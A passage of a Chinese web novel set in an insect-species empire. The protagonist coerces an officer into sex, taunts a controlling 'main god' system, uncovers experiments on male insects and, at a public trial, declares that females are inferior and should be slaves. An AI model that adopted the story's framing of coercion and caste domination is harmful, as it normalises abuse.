江林的耐心似乎消磨殆尽,他手指在伏恩喉结上摸了摸,喘息着,在平息身体的难受,继续说道:“你的切片真的能代替你自己吗?你想要驯化我,便用自己的意识切片进入世界,结果那些切片都生出了自己的思想和渴求。末世世界的隗绍身体隐藏的意识,是从你身体偷跑出来的切片吧。他倒是一条好狗,到死都在为我受刑啊。” “主神啊,你看看,你的意识切片都是我驯化的狗而已,你真的觉得你自己就是他们吗?我和他们上床,难道你能有任何的感受吗?还是你觉得荣辱与共啊,只要意识切片被我上了,你觉得你也能感同身受啊?” 他的语气中充满了嘲笑和讽刺,他有一种疯狂的冷漠,如同穷途陌路的人,他一字一句地戳着主神的心窝子:“现在你代替了系统,就能更清楚地看着你的意识切片怎么被我嬉耍玩弄,心甘情愿跪在我面前任由我掠夺。” “你爽死了吧?” 最终,脑海中的主神终于受不了这种程度的挑衅,很轻地嗤了一声:“你觉得你的这些话能挑起我的怒火?从前你不是高傲得很,现在不还是沉沦在他们赐予你的欢愉中?” “赐予?他们的取悦和卑微被你说成赐予,你还真是高高在上的主神啊。”江林眯着眼,唇角勾起淡淡的笑容,感受着原本被疼痛麻痹的身体逐渐感觉复苏,同时还有来势汹汹的发/情热潮,“看来你真的很喜欢,看着我睡你的切片啊。” “但就算你站在我面前,我宁愿死也不会碰你的,你的切片都比你可爱多了。” 这话让主神有些微妙的怒火撩上心头,嫉妒在心底扎根蔓延,汹涌的戾气袭来,他再也无法冷眼江林发生的一切。 凡是沾染上江林气息的意识切片纷纷都不受控制,产生了违背主体的意识,企图逃窜,企图进入小世界重新和江林重逢,企图背叛 他们甚至不屑于和他共脑分享和江林拥抱、接吻、上床的感觉。 就如江林说的,就像是被驯化的野狗,闻到主人的味道便忍不住摇尾巴,平时对谁都是一副犬吠呲牙的凶狠样子,但被他训练得很好很乖。 之后,江林便没有在管脑海中的卑劣主神,视线落在伏恩那张因为忍耐和克制逐渐扭曲的脸上,躺在他腿上,四肢逐渐恢复了些力气。 “抱我去床上。”江林扯了扯他的衣裳,根本没有问过他的意见,料定他不会拒绝一般。 伏恩拳头捏紧,那一瞬间并未说话,只是深深地看着江林。他依旧在忍,尽管身体都要爆炸的热。 “你的弟弟需要我的信息素,你最好不要忤逆我。”江林眯着眼笑了笑,语气很轻:“这个胁迫你的理由,是不是能让你放下心中的愧疚呢?” 他主动给伏恩递了台阶。 伏恩自嘲地笑了笑,抬手将江林抱起来,语气很轻,金色发丝落下,阴影下的下颌线紧绷着:“谢谢你啊。” 江林回他一句:“不用谢啊。” 还怪有礼貌的。 江林曲着长腿坐在床上,看着依旧克制忍耐的雌虫,弯了弯眼睛,用手撩开自己后颈的黑发。他露出白皙的脖颈,上面另外雌虫咬出的红痕还未消散,红肿着,暧昧得不行。 都是另外雌虫的味道,让伏恩抵触又喜欢。 “可以麻烦你亲亲我这里吗?有点疼。” 伏恩双眼微缩,五指捏紧,手背上青筋凸起,视线控制不住地盯着他的后颈,眼底闪烁火热又难控的欲望。 几秒后,见身后的雌虫毫无反应,江林便以为他依旧在坚持自己那岌岌可危的底线,便懒懒地放下手,冷淡地说道:“如果真的这么不喜欢,就早点滚出去唔。” 伏恩抓住江林的肩膀,一只手环住他的腰,大舌贴在他后颈被咬破皮的软肉上,如同疗愈的狗狗,小心翼翼地舔着那块受伤柔软的地方,感受怀中雄虫舒服的轻哼,而口鼻之中全是雄虫信息素的味道,他的味道逐渐掩盖了其他雌虫的味道。 他不敢用太大的力气,只是讨好地轻舔轻吮着,手也没有任何的逾矩行为,腰上的力道在不断收紧。 第114章 陌生的环境, 异常空旷的房间,拱形窗户半开着泄出丝丝香味,墙上的油画, 是好几只虫衣裳半裸纠缠在一起,桌上、地上都是酒水和甜点, 凌乱的画面刺激眼球。 灯光昏暗,墙壁还有烛影摇曳,氛围暧昧。 伏恩手控制着雄虫的身体, 舌尖扫过被皮塞尔咬出的齿痕,尝到了丝丝腥甜的味道, 上面遍布着齿痕,可见皮塞尔当初有多么的混蛋和无耻。 他像是在认真抚慰雄虫的受伤和难过,他在轻微的颤抖,直到江林哑着嗓子出声,阻止他安抚他脖子的行为:“够了,不要再舔那里了。” 雌虫听话的松口, 在安静的空气中发出暧昧的水渍轻响, 雪白的后颈变得湿辘辘的, 瞧着泛着水光。 他下意识地舔了舔自己的牙齿,松开了雄虫, 身体紧绷如同一张拉满的弓, 却还是跪在床上没有任何的冒犯行为,手指握拳。 “你的生理老师没有教过你该怎么取悦雄虫吗?”江林曲着长腿,露出一截脚踝, 踩在伏恩腿上,有些无礼的躺在床上,静静看着天花板, 呼吸声渐渐重了。 伏恩背上的肌肉如同小山般隆起,在阵阵颤栗着,他沉重的呼气,主动俯身手臂撑在江林两侧,垂眼看着唇红齿白的雄虫微微张着唇,露出一点猩红的舌尖。 他像是看见了鱼饵的鱼,重重的吻了上去,寻着鱼饵去了,吮着雄虫的舌尖,吞咽着他口中的湿液,控制着力道不让雄虫受伤,轻轻捧着他的侧脸。 江林眯着眼,明明难受得不行,却还忍不住恶心恶心对方,吐出他伸进自己嘴中的舌头,抓着他金色柔软的发丝:“你弟弟乔治的舌头和你一样软。” 这句话的杀伤力,不亚于在伏恩心脏扎了一刀。 “金斯利阁下一定要这样侮辱我们吗?”伏恩顿住了动作,声音沙哑,衣服依旧是一丝不苟的没有任何散乱,禁欲又克制,而江林早就被皮塞尔撕得一塌糊涂。 “怎么算是侮辱?”江林其实根本没和那只乳臭未干的雌虫接过吻:“开个玩笑而已咯。” 伏恩抿了抿唇,正经地说道:“这个玩笑一点也不好笑。” “哦,那不好意思咯。”江林说。 伏恩咬了咬牙,下颌线变得越发凌厉了些,没忍住掰着江林的脑袋,在他后颈轻轻咬了一口,甚至没破皮。 “疼。”雄虫轻呼一声,他便不再动作了,手顺着他的脖子慢慢抚摸而下,缓解雄虫的难受 窗幔被风吹动着,月光从缝隙中露出,越来越长,仿佛洒下的一捧白盐,洁白无瑕。天空暗紫的流星滑过,皎白的月光越发明亮了几分。 寂静的花园,连虫鸣声都清晰可闻,陡然响起一股类似于雨靴踩入被雨水沁润土地的声音,黏稠又沉重,一步一步雨靴踩地,因为泥土过于泥泞粘连着湿润的黄土,将雨靴弄脏了。 “呼”江林呼出一口气,双眼微微睁大,身体极度削弱又极度渴望,四肢因为之前狗屎主神的电击惩处而显得无力,肌肤却一寸寸的冒着热气,冒出汗珠。 伏恩连上衣外套都没脱,白金色的军装,胸口的军衔在月光下反光,微微闪动着光辉,雌虫的肌肉却紧绷着,所以线条显得更加明显有力。 他背着窗户洒下的月光,阴影下看不清雌虫的神情,只能瞧见他滚动的喉结以及紧抿的双唇,他视线注视着眼前越发鲜活漂亮的雄虫。 雄虫轻轻咬住自己的指节,从眼尾冒出了点点泪珠,沾湿了乌黑的睫毛,眼皮和眼下都是一片残红,无助的看着伏恩,发出小动物的呜呜声。 可怜又无助般,但明明强势的虫是他,破土的虫也是他。 伏恩俯身拿掉他的手指,怕他咬伤自己,把自己的手指伸进他嘴里供他发泄,手抚摸着他的头发,在雄虫沉浸在他的安抚下后,又眼神微暗,轻轻垂下眼睫。 雌虫狡猾又温柔,他不动声色的让雄虫的眼泪流得更多了。 落在江林耳中不知道什么时候下起了瓢泼大雨,视线一片模糊,雨水仿佛滴落在他的眼睛里,落在床褥上,整个床单都变得潮湿起来,盖在身上显得有些难受。 /// 江林浑身都是水,有他的,也有伏恩的,整个人都像是水中捞出来的般,被伏恩抱着去浴室里,他胸前的徽章被江林手指拂过,他缓过气来,说了一句:“你比格雷西更加温柔。” 伏恩身体也有些异样,雄虫的标记留在了他腹腔深处,时刻都在提醒他,他和眼前雄虫有过亲密行为,心态和身体都在发生变化。 “这并不适合用来比较,金斯利阁下。”伏恩低声道,语气虽然冷静,却没有戾气,像是在阐述简单的事实:“这不是一个有礼貌的雄虫应该说的话。” “我就是没有素质和礼貌呀。”江林被放在合适的温水中,今天一晚他精力了太多事情,四肢疲惫,只有一张嘴还算完好。 “”伏恩便不再多说什么,他脱下自己的外套,卷起袖子给他清洗身体。 “我觉得你好像更应该洗洗才对。”江林视线掠过他半蹲阴影下的瓷砖,地上有一丝污浊,被清水冲向远处的排水系统,但伏恩的表情却正经矜持,仿佛毫无察觉自己的身体异样,正在给他擦洗肩膀。 “我不需要照顾,需要照顾的是雄虫阁下。”伏恩一板一眼地说道,正经的像是在擦拭自己的机械枪,冷静而又温柔。 江林定定看了他几秒,唇角勾起一抹笑,脸侧贴着冰冷的白瓷浴缸,粉红的脸颊,:“好像又难受起来了。” 伏恩动作一顿,抬眼对上江林的视线,看见他眼底恶意的戏谑,又垂下眼睫,默不作声。 “伏恩应该不会置之不理吧,毕竟更过分的事情我们都做过了不是吗?”江林弯了弯唇。 伏恩手指蜷缩了一瞬,此刻身体深处还有轻微的尖锐疼痛,那是雄虫强制发/情后不管不顾的结果,好在雌虫的身体素质和忍耐能力都比较强,才能从那尖锐疼痛中找到病态的快感。 “我抱您起来。”伏恩伸手,江林湿漉漉的手指按在他手腕上,食指轻轻按了按,阻止他的动作。 “你进到浴缸里来。”江林半长的黑发在水中散开,仿佛黑色的水草在轻轻荡漾着,几簇贴着他脖颈和胸前。 伏恩犹豫了几秒,最终还是抬脚踏入了浴缸。 双人的浴缸容纳两个人有些逼仄,却也不不会过于拥挤,只是原本正好的温水,因为多了一只虫的加入而直接溢了出去,哗啦啦的一阵响动。 江林见伏恩还穿着那件外套里面的衬衣,衣摆被打湿,他垂着眼睛,那双碧绿的眼睛回避着雄虫的视线,他手从他衣摆下出往上摸了摸,感觉到他紧致收缩的腹部肌肉,硬梆梆的,犹如钢筋铁板般坚硬。 他的手指放在伏恩肚子上,视线盯着雌虫的脸,双眼又逐渐露出一点水意,他轻笑着调侃:“还好你有先见之明,没有洗,否则又是白费了” 伏恩骤然拧起眉头,嘴唇也抖动一瞬,从胸腔出发出一声沉重的闷哼,江林感觉自己手心下的肌肉狠狠跳动了几下,紧接着一阵疼痛似的痉挛颤抖。 “伏恩好乖啊。”江林拉长语调,仿佛对听话的宠物褒奖,但更多的是故意而为之的调笑。 伏恩沉默地抬起眼对上那双泪痕斑驳的眼,就算雄虫流泪,啜泣,但眼前的雄虫绝不能用眼泪来衡量他的柔弱,他精神极为强大而又坚韧。 他从未在雄虫眼底见过脆弱的神情。 江林对伏恩比格雷西更有好感,这份好感只是因为两人床上的感觉更加舒服。 格雷西性格有些霸道像是燃烧的火焰,要将江林连同皮肉骨血都纷纷点燃般,最后变成余温灰烬也要烫到对方。 但伏恩是讨好型的作法,他完全跟着自己的节奏,不管什么要求,都会无言配合,像是温和的温泉,让人觉得舒心愉快。 这些分析,江林纷纷都告诉了脑海中的替代系统,语气说的非常喜欢,跃跃欲试想到试试下一个切片的味道。 主神系统没说话,只是一味的生气,将此前背叛自己的切片狠狠惩罚鞭打,却又不敢完全毁掉,因为毁掉他们就等于毁掉它自己。 但让他屏蔽江林的话,他又有些舍不得,他看着江林抓着伏恩的金发,让他仰起头,狠狠咬在雌虫鼓起的喉结上,雌虫不知道是疼的,还是爽的,一直在发抖,水越来越少,也越来越凉了。 主神系统看得暴虐之意肆起,恨不得撕碎了眼前的两只虫,最终没忍住还是屏蔽了眼前的画面,他开始觉得后悔了,不该想出这么糟糕的法子。 像江林这样傲气的人,就该像青竹一般清高,一根根砍掉他的竹节。 他应该由自己来驯服,靠那些废物是没有用的,相反还被耍的团团转。 他极力否认自己的嫉妒,但又控制不住的暴怒,像个不打自招的小丑。 /// 江林留在宫廷熟睡,伏恩连夜回到家中,外面没有下雨,空气燥热,雌虫耳朵的温度迟迟降不下去。 他回到家中,坐在沙发上冷静,思考着该怎么和乔治说今天的事情,果敢的伏恩少将第一次这么害怕和犹豫。 乔治起床下楼喝水,看见独自坐在黑暗中的雌虫,揉了揉眼睛,嘟囔着:“哥哥,你怎么一个人坐在这里” 但旋即发现了不对劲,乔治脸上的惺忪困意直接消失了,瞪大双眼,厉声问道:“为什么哥哥身上会有金斯利阁下的味道?!” “还这么浓?为什么” “你们是不是进行了终身……标记!” 伏恩下意识的躲避着他的眼神。 第115章 乔治对于雄虫的味道很敏感, 几乎一秒便辨认出了伏恩身上的味道,就算是兄弟,雌虫的天性便是强势的, 想要独占,想要吸引雄虫的全部注意力。 伏恩动了动唇, 却不知道该怎么解释,既定的事实摆在眼前。 对于哥哥的沉默,乔治顿时仿佛被刺激到了, 失控地抓住哥哥的领子,视线看见他喉结上的咬痕, 瞳孔微微放大,瞪向伏恩的双眼染上了难以置信:“你明明知道我喜欢金斯利阁下,为什么你要和我抢?” “你不是说他不是好虫吗?!” “所以你是为了让我死心,就是自己以身饲虎了?你不要脸被阁下标记的时候,有没有对我有一丝一毫的愧疚呢?哥哥!” 伏恩扣住乔治的手腕,敛下眉眼, 沉声道:“够了乔治。” “这只是一次意外” “意外?终身标记之后再也无法清洗标记, 什么样的意外能让你奉献自己的一辈子呢?”乔治颇为稚嫩俊美的脸上有些嘲讽, 双眼发红,仿佛遭到了莫大的背叛。 “你说不让我喜欢阁下, 是因为你也心存私心吧说什么为我好, 都是为了你自己!” 伏恩涌起一股淡淡的疲惫,甩开乔治的手,雄虫不管不顾地标记和侵入, 从未想过他能不能面对家人的质问,只是随心地对他进行终身标记,现在他无异于被雄虫彻底打上了自己的印记。 “乔治, 金斯利性格恶劣狡猾,你不是他的对手”伏恩还是原本说辞,只是看见弟弟脸上越发明显的冷笑后,改了口:“如今金斯利已经标记了我,以后他会配合你的治疗,但等你完全进化,精神脑域痊愈后,我会安排手术完全清除你们之间的标记。到时候你就不会再执迷于金斯利阁下。” 乔治轻嗤一声,不置可否地看着他,那原本阳光朝气的眉眼变得有些薄凉,望着伏恩的双眼:“哥,我已经成年了,你凭什么管我?” “您管好自己就行。”乔治上上下下打量了伏恩一圈:“你不过比我早出生几年,我不信我比不过你。” 他说完便转身离开,伏恩抓住他的手臂,还想说什么,被乔治狠狠甩开,头也不回地上楼去了。 伏恩望着弟弟决绝的背影,身心俱疲,回到浴室冲洗,身上全都是雄虫留下的痕迹,脱在外间的裤子湿濡一片,他算是服务意识型的雌虫,没有管自己的身体情况。 /// 第二天一早,伏恩发现乔治的房间里没了虫,而且衣服都搬出去了,空旷的房间内,墙壁上挂着的KS67电子枪是伏恩在乔治成年时候送给他的。 曾经他视若珍宝,现在却连离开都没有带走。 江林在宫廷被虫侍叫醒,他眯起朦胧的双眼,低声道:“皮塞尔的事情怎么解决的?” 虫侍伺候他穿好衣服,低着头毕恭毕敬地回答:“昨夜皮塞尔将军醉酒突然进入情潮期,失控杀虫,为了防止局势扩大,最终被原地绞杀,人证物证俱在,阁下您放心吧。” “尤纳斯帝国的虫没有不满吗?”江林身体恢复了些,抬脚让虫侍给他穿鞋。 “当然有不满,但皮塞尔将军杀死的也是我们帝国的上将大人,地位斐然,上将大人的家族多有不满,便和尤纳斯帝国的将士们吵了起来” 这直接将江林摘的干干净净。 “那位上将大人早就因为精神脑域衰败而失去理智,曾经虫化杀死了一个团的虫,被判了死刑,恰好这次撞到了枪口上。”虫侍还在低声解释。 江林安安全全地出宫,在宫门口瞧见了乔伊斯的飞行器,他似乎就是在等江林。 “金斯利阁下本事不小啊。”乔伊斯主动上前,脸上带着阴沉的笑容,双眼的异瞳显得有些怪异,“皮塞尔是你杀死的吧?” 江林脸上带着点笑容:“你自己去问皮塞尔吧,他一个人还怪孤单的。” 乔伊斯双眼注视着江林,眼神藏着毒一般:“你知不知道因为你昨天的所作所为,塞纳帝国和尤纳斯帝国几十年的和平又要毁于一旦了,最终死的是那些上战场的军雌们。” “这帽子也要扣到我身上啊?”江林觉得好笑,笑眯眯地看着他:“如果不是你,他又怎么会死呢?这都要怪你啊,做了这么多孽,是不是只有你右边的那只眼睛也被挖掉,你才会老实吗?” 乔伊斯原本是空战军最厉害、最年轻的战士,但因为金斯利挖掉了他的左眼,所以让他的职业生涯终止,现在却还在大言不惭地挑衅他,他如何能忍? 他眼底迸射出恨意,抬手掐住江林的脖子,手指用力,似乎想就这样掐死他。 身后的守卫连忙上前阻止他的暴行。 江林却摆手不让他们靠近,笑看着他,声音有些哑:“你来光明正大地弄死我。” 但是乔伊斯不敢,他身后的家族和亲人不允许他这么做。 最终他只能愤恨地松手。 江林轻飘飘看了他一眼,摸了摸自己被掐疼的脖子,漂亮的杏眼带着一丝笑意:“孬种。” “你放心,乔伊斯,你会有求我的时候。” 说完这句话,江林朝着乔伊斯微微颔首,姿态说不出的嚣张和肆意,完全不似昨晚的惊恐和无助,转身回到飞行器上。 乔伊斯看着消失的飞行器,那只灰蒙蒙的眼睛,直勾勾地看着他消失的方向,脸上表情阴云密布。 雄虫的狠辣让他的计划彻底落空了,需要从长计议,而且这只雄虫似乎和他认识的那一只有些不一样 从前的金斯利虽然凶狠,但典型的窝里横,若是遇见昨天这样的事,断不能这么果断地杀人,只要皮塞尔昨晚没死,他甚至能说服虫帝让两虫联姻,最后再从中作梗 /// 诺里斯叩响了乔伊斯办公室的门,里面的动静微微一静,他见没人说话,便直接推门而入了。 还未来得及整理衣服的雄虫和雌虫,有些尴尬地背对着他,乔伊斯还算冷静,整理了一下衣襟,抬眼平静地看着诺里斯:“你怎么来了?” 诺里斯却看着那只明显比较慌乱的雄虫,几秒后,扯起唇角笑着说道:“原来是丹阁下啊,久闻大名,今天第一次见没想到是在这种情况下噢。” 丹.金科瑞眼神有些慌乱,又强行镇定下来,微微一笑:“我军部还有事,就先走了。” 他又扫了一眼冷淡的乔伊斯,声音轻了几分:“疏导效果还不错,忙完了,记得来疏导室找我。” 乔伊斯只是嗯了一声。 丹·金科瑞离开后,诺里斯的视线才收回,似笑非笑地看着乔伊斯那张冷静的脸,调笑道:“乔伊斯擦擦你嘴边雄虫的口水吧。” 乔伊斯没动作,端起旁边的茶喝了一口。 “你这算是偷/情吗?”诺里斯手臂撑在桌上,俯身凝视着乔伊斯。 “这只是简单的精神疏导而已。”乔伊斯道。 “这样啊,但我记得你是有自己匹配的雄虫,这事如果让金斯利知道,只怕你会很惨。”诺里斯提醒他。 乔伊斯无所谓地说道:“从前他也从没有让我好过。” 诺里斯耸耸肩,劝不动就不劝了,探究地看着他:“皮塞尔的事情我听说了,他的死没那么简单吧?” 乔伊斯拧着眉回答:“是金斯利杀的他,伏恩救了他。” “伏恩应该也被标记了。” 诺里斯挑了挑眉,望着乔伊斯的眼睛:“那你原本的计划是什么呢?” 乔伊斯直视他的双眼,“计划什么,现在再说还有什么意义吗?” “”两虫对视几眼,无声的对峙,隐隐崩坏的关系。 诺里斯抬手很轻地将他桌上的木雕推落在地上,木雕断了脑袋,他脸上的表情也冷淡下来:“你做的那些都太过了,尤纳斯不是你可以利用的,小心养虎为患,与虎谋皮,最终一败涂地。” “我一直只想要自由,你做的这些” 乔伊斯打断他的话:“只要金斯利还活着,你永远自由不了,他是虫帝的虫崽,有虫帝的庇护,你觉得他会受到任何惩罚吗?” “只有把虫帝拉下来,让金斯利没有了保护伞,才能让金斯利彻底失势,否则他一辈子都不可能放过我们。” 诺里斯怔了怔,震惊地看着他:“你说的真的假的?” 乔伊斯从抽屉里拿出一份报告,是虫帝和金斯利的亲子报告。 诺里斯仔仔细细的查看了一翻,无声的咽了咽口水,看向乔伊斯平静的眉眼,问:“你是什么时候知道的?” “今天。”乔伊斯回答。 他反问诺里斯:“你现在还觉得我做的这些是没有必要的吗?虫帝这些年的包庇,你一点都没察觉吗?而且伏恩、格雷西、哈珀以及你我,哪个不是这些年军中或者政坛上的新兴翘楚,凭什么要委身一个废物?就是因为虫帝的私欲。” 诺里斯拧着眉没说话,眼底陷入沉思。 两虫的谈话不欢而散,诺里斯回到自己的军队,隔着很远,瞧见了正翘着腿在树荫下睡觉的雄虫,其他雌虫的正在午睡,他旁边跪着的大高个赫然是他的副将奥卡姆。他脖子上还带着电子的监视环,半张脸上是黑色的凸起鳞片,高大的身躯挡住了刺眼的光,伸手拿着扇子轻轻给雄虫扇风。 雄虫惬意地在草地午睡,雌虫垂眼间,那只战场上一拳一只污染物的雌虫,眼底浮现出丝丝温柔。 诺里斯静静看着这和谐的一幕,弯起一丝讥笑,转身离开。 江林也瞧见了不远处的诺里斯,军靴踩在奥卡姆裤子上,在他军绿色的裤子上留下几个灰扑扑的脚印,奥卡姆微微弯着腰,有些承受不住地红了脸。 “奥卡姆你的长官刚刚就在你身后看着你呢。”江林双眼如月牙般弯起来,笑着问他:“被雄虫踩很爽吗?” 奥卡姆嘶哑的嗓音说道:“不是,被金斯利阁下踩很爽。” “噢,这样啊。”江林饶有兴趣地说道:“今晚回去告诉你长官你有多爽好吗?” 奥卡姆沉默不语,显然觉得这些有些难以启齿,而且他不想把这种事情给别的虫分享。 但最终见雄虫冷脸,又主动抓住他的小腿,点了点头,勉强道:“好。” 第116章 奥卡姆是一只忠诚的雌虫, 对于雄虫的命令虽然不理解,但是照做,夜晚站在他长官工作室里, 阐述着某些事实。 诺里斯面无表情的看着他,听着他平铺直诉的骚话。 直到他穷词后, 他才扯起一抹笑:“金斯利这是在拿我当你们情趣中的一环。” 诺里斯脸上的笑容转瞬即逝,抬手掐住奥卡姆的脖子,五指用力, 扼住他的咽喉,奥卡姆瞬间喘息不上, 抬手拧向他的手腕。 “你别忘记了,如果不是我,你今天根本不可能站这里”诺里斯看着奥卡姆脸上青筋凸起,最终垂下手腕,任由诺里斯动作。 “金斯利从来没有在乎过你的死活,懂不懂啊?” 诺里斯抬手将他偌大的身躯甩在地上, 居高临下的看着他, 沉默的奥卡姆只是慢慢爬起来, 半跪在地上,没有再抬头。 今日的诺里斯心情不悦, 奥卡姆也算是撞到枪口上他冷着声音道:“我将你从平民窟捡回来, 就是让你来当金斯利的狗吗?” 他似乎很失望。 奥拉姆心情沉重却又麻木,他早该在污染区虫化的时候救被舍弃杀死,是诺里斯把他带了回来, 但也是雄虫清理了他的精神污染,而且他 看他一副沉默的样子,诺里斯莫名窝火, “金斯利让你杀我,你便杀?” “我没有,那一剑不至死。”奥卡姆解释道。 “哼。”诺里斯自然是知道这个事实,摆了摆手,让奥卡姆滚下去。 /// “金斯利阁下,我找到了一些线索,但是”这是杰里结婚后第一次回到江林身边,他欲言又止的看着他。 “你的婚后生活怎么样?”江林从奥卡姆手中接过自己的水果茶,姿态闲散的翘着二郎腿,看着像个玩世不恭的富二代。 “还不错。”杰里红了红脸,但话题转回正题:“我查到了一些实验体雄虫他在危险的红四区,您要过去吗?” “去啊。”江林眯了眯眼,自然地说道。 奥卡姆主动出声道:“红四区混乱危险,处于平民窟,许多都是被军队放弃的危险雌虫,让我保护您” “好啊,辛苦奥卡姆啦。”江林抬手摸了摸他的脑袋,粗粝的头发摩擦着他柔软的手指。 奥卡姆抓着他的手指,放在嘴边亲了亲。 红四区需要坐较长时间的飞行器,期间江林枕在奥卡姆腿上休息,杰里就老老实实的在驾驶舱。 那处环境很差,空气中浓烟翻滚,破烂的水泥建筑,躺在地上不省人事的雌虫,地上斑驳的血迹和垃圾都无人清理,臭味熏天,仿佛一个巨大的垃圾场。 江林轻轻捂住口鼻,拧起眉头,杰里胆颤心惊地说道:“我打听到就在这里” “这种地方也被你找到了,还真是厉害。”江林轻声夸赞。 他的模样和这处格格不入,有雌虫的视线赤/裸裸的落在江林身体上,是不加掩饰的恶意和仇恨,只是因为畏惧他身边的奥卡姆而没有动作。 杰里则是躲在奥卡姆身后。 随处可见的斗殴现像,最多的见就是在翻找垃圾的雌虫。 在一处断壁废墟的地下室,外面灰尘泥土横飞,从黑暗的甬道骂骂咧咧走出来两只雌虫。 “我操!你刚刚跟老子抢什么啊?雄虫的小xx都被你坐软了,老子玩什么?” “嘿嘿,那是废物雄虫不行而已” 两只虫看见江林时,眼神顿了一下,在看见奥卡姆漠然冷酷的脸后,又像是毫不在意的离开了。 奥卡姆将江林护在怀中,像是母鸡保护鸡仔般。 视线昏暗,在往里面走,是一个狭窄房间,只有墙壁上一个小窗户,泻出一点光茫,躺在床上的雄虫,背对着门口的位置,露出的后颈,一片深褐腐烂的伤痕,似乎被人虫反复咬烂,而无法愈合,肌肤疤痕斑驳。 因为仅有小窗户进行通气,所以空气显得污浊不堪。 “滚出去我今天不行了。”背对着他们的雄虫,还以为是又来了雌虫,听起来虫还不少,身体控制不足的哆嗦起来。 “奥卡姆,你去外面守着,别让其他虫进来。”江林表情很平静,奥卡姆扫了一眼四周,确定没虫能伤害江林后才离开。 杰里主动出声道:“金斯利阁下,这位是一只E级雄虫,在平民窟出生,从小就被实验室圈养起来,甚至在帝国都没有身份证明” E级雄虫听到陌生的声音,没忍住转身看过去,那张脸看起来很苍老,但双眼有神,身上的肌肤也不似老人。 “他才30岁,因为后颈的器官崩坏,脏器衰竭,被舍弃到了这里。”杰里说。 江林站在窗边,垂眼看着可怜的雄虫:“也许你可以跟我说说你身上发生了什么。” “你是金斯利阁下?”雄虫怔怔看着他,金斯利阁下的名号如雷贯耳,只要上星网的虫就无人不知。 相比很多雌虫对金斯利的厌恶,雄虫大多都对金斯利有着崇拜或者说羡慕,金斯利虽然瞧不起软骨头的雄虫,但不会主动针对。 而眼前的雄虫,曾经一次逃出实验室,遇见过金斯利,当时差点被雌虫强/暴,是金斯利救了他,最后又被抓回了实验室,虽然他没见过金斯利的模样,但那些守卫虫们喊得是金斯利阁下 “实验室的雄虫大概有几十只吧?都被编了号,大多都是平民低级雄虫,这类雄虫能够无声无息的消失,还有一些b级雄虫等,都是犯了罪,关禁闭后被制造意外假死的证据,然后关入实验室” “我呢,是被舍弃的虫,才被扔到了这里,他们想要从雄虫身上提取到能让雄虫就算非自愿情况下也能发情或者主动清除精神污染的物质他们在雄虫身上做着各种各样的实验在我之前,都没有成功” 杰里觉得毛骨悚然,若是真的研制出这些药剂,让雄虫重新沦为工具虫,那结果可想而知的糟糕,可能会回到百年前,那时的雄虫毫无自由和尊严可言。 江林把雄虫带走了,这些剧情在原书中没有仔细的描述,只有一句简单的话概括:“多年后,塞纳帝国研制出了能够主动无意识清除雌虫精神污染的药剂,从此雌虫不再受到雄虫的桎梏。” 但这些都是建立在雄虫的血肉之上。 不公平的事情时刻都在发生。 /// 事情接踵而来,完全没给江林招架的时间。 江林再次站在审判庭上,审判长不是格雷西,他对面站着一群受害者。 他们指控着金斯利曾经的残暴。 “金斯利阁下因为我的儿子在学校多看了他一眼,他就是挖掉了他的眼睛,赶出学校,我的儿子现在已经自杀,再也回不来了” “就是他纵容狗咬断了我弟弟的手臂,狗吃掉了弟弟的手臂,所以这辈子他都只能装着假肢,现在没有地方会聘用残疾虫” “我原本是军校的老师,就是因为斥责了他一句,便在实验室被诱导发/情,视频流出在星网,我也彻底失去了这份工作,到哪里都抬不起头” 江林无声的听着他们的指控,这一桩桩的确是原主金斯利做下的孽,他专挑软柿子,这些人都是毫无背景的平民,所以就算被折磨也状告无门。 现在却被有心虫联合起来了。 他无从辩驳,证据确凿,脸上毫无愧疚之色,眼神中都是有恃无恐的懒散,看得人窝火。 审判庭是全程直播,星网上已经引起了轩然大波。 【难道平民就不是帝国的一份子吗?】 【雄虫就能拥有特权吗?】 【我要求金斯利重判!】 【害了这么多雌虫难道不该受到惩罚吗?】 【雄虫和雌虫应该一视同仁。】 “金斯利阁下你还有什么要说的吗?”审判长冷漠的看着底下的雄虫。 江林靠在椅子上,早就想到会有这么一天,毕竟原主身上的确罪孽不浅。 他只是微微扬起下巴,姿态依旧慵懒,镜头放大了他的俊脸,他弯了弯唇:“雌虫不过是优胜劣汰下的劣质品,雄虫不需要雌虫也能活得很好,但雌虫呢,如果没有雄虫的精神疏导便会成和污染物一样,毫无理智只会杀虫的兽。” “所以到底是谁需要谁?百年前雄虫被折磨的场景还历历在目,甚至没有雄虫能在那种环境下活过五十岁,明明虫族的平均寿命是两百岁啊。” “我的手段和你们的比起来,不过是过家家而已,雄虫才应该是帝国的主宰啊,雌虫就该做奴,被随意打骂又怎么样?从前你们做得还少吗?” 在完全畸形的社会下,追求平权不过是再次让天平倾斜更甚,极端追求的个别才能给弱势方争取到一点喘息的机会,而且金斯利的人设本来就是这样。 只不过江林比他更加无畏勇敢,把这些话宣之出口,而不是暗戳戳又无用的折磨一些无权无势的虫。 星网上大多都是雌虫,自然对他大肆谩骂起来,被他几句轻描淡写的话挑起了怒火。 江林不意外被关了禁闭,他所谓的关禁闭,也不过是被关在自己的庄园中,不能随意出入而已。 他A级雄虫的身份就是他的保命符,虽然雄虫是占少数,但他们的话却比雌虫的话更加有分量。 毕竟现在帝国还没有任何的药剂,能够代替雄虫的精神疏导。 江林原本没想做这些的,他没想法成为英雄勇士,只想敷衍的完成任务,但看见了那只雄虫以及被乔伊斯逼上审判庭,那就随便说点什么吧,反正狡辩抵赖都没有任何的作用。 第117章 星网上对江林的讨伐声音各异, 但不乏有支持他言论的虫,但最终这些都抵不过主流的诋毁和谩骂。 金斯利曾经做过的恶行一桩桩一件件被翻找出来,要求严惩雄虫。 虫帝迫于各方压力, 并不能直接保下江林,只能暂时搁置他的处罚, 舆论风波过去之后再做打算。 相比外面的腥风血雨,江林在家却显得闲适懒散,每天睡到自然醒再也不用去军部工作, 他身边都是虫帝安排保护他的人,也不用担心他的人身安全。 亚斯见到雄虫的时候, 他正在晒太阳,旁边是开得正艳的鲜花,脸上盖着帽子,四肢舒展躺在躺椅上,旁边散落的垂钓工具,他的庄园内有很大一片鱼塘。 “金斯利”亚斯这些天忙的焦头烂额, 给他抚平风波, 没想到见面就是江林无所谓的闲散态度。 江林拉开一点帽子, 眉梢轻轻一挑,看向亚斯, 见是他, 主动坐直了身体,伸了个懒腰:“是哥哥来啦。” 亚斯低头看着阳光下肌肤都在散发着光茫的雄虫,姣好的肌肤, 容貌似乎都在散发着金色的柔光,嘴唇微微勾起,黑眸莹润。 “哥哥, 我还以为你不会理我了呢。” 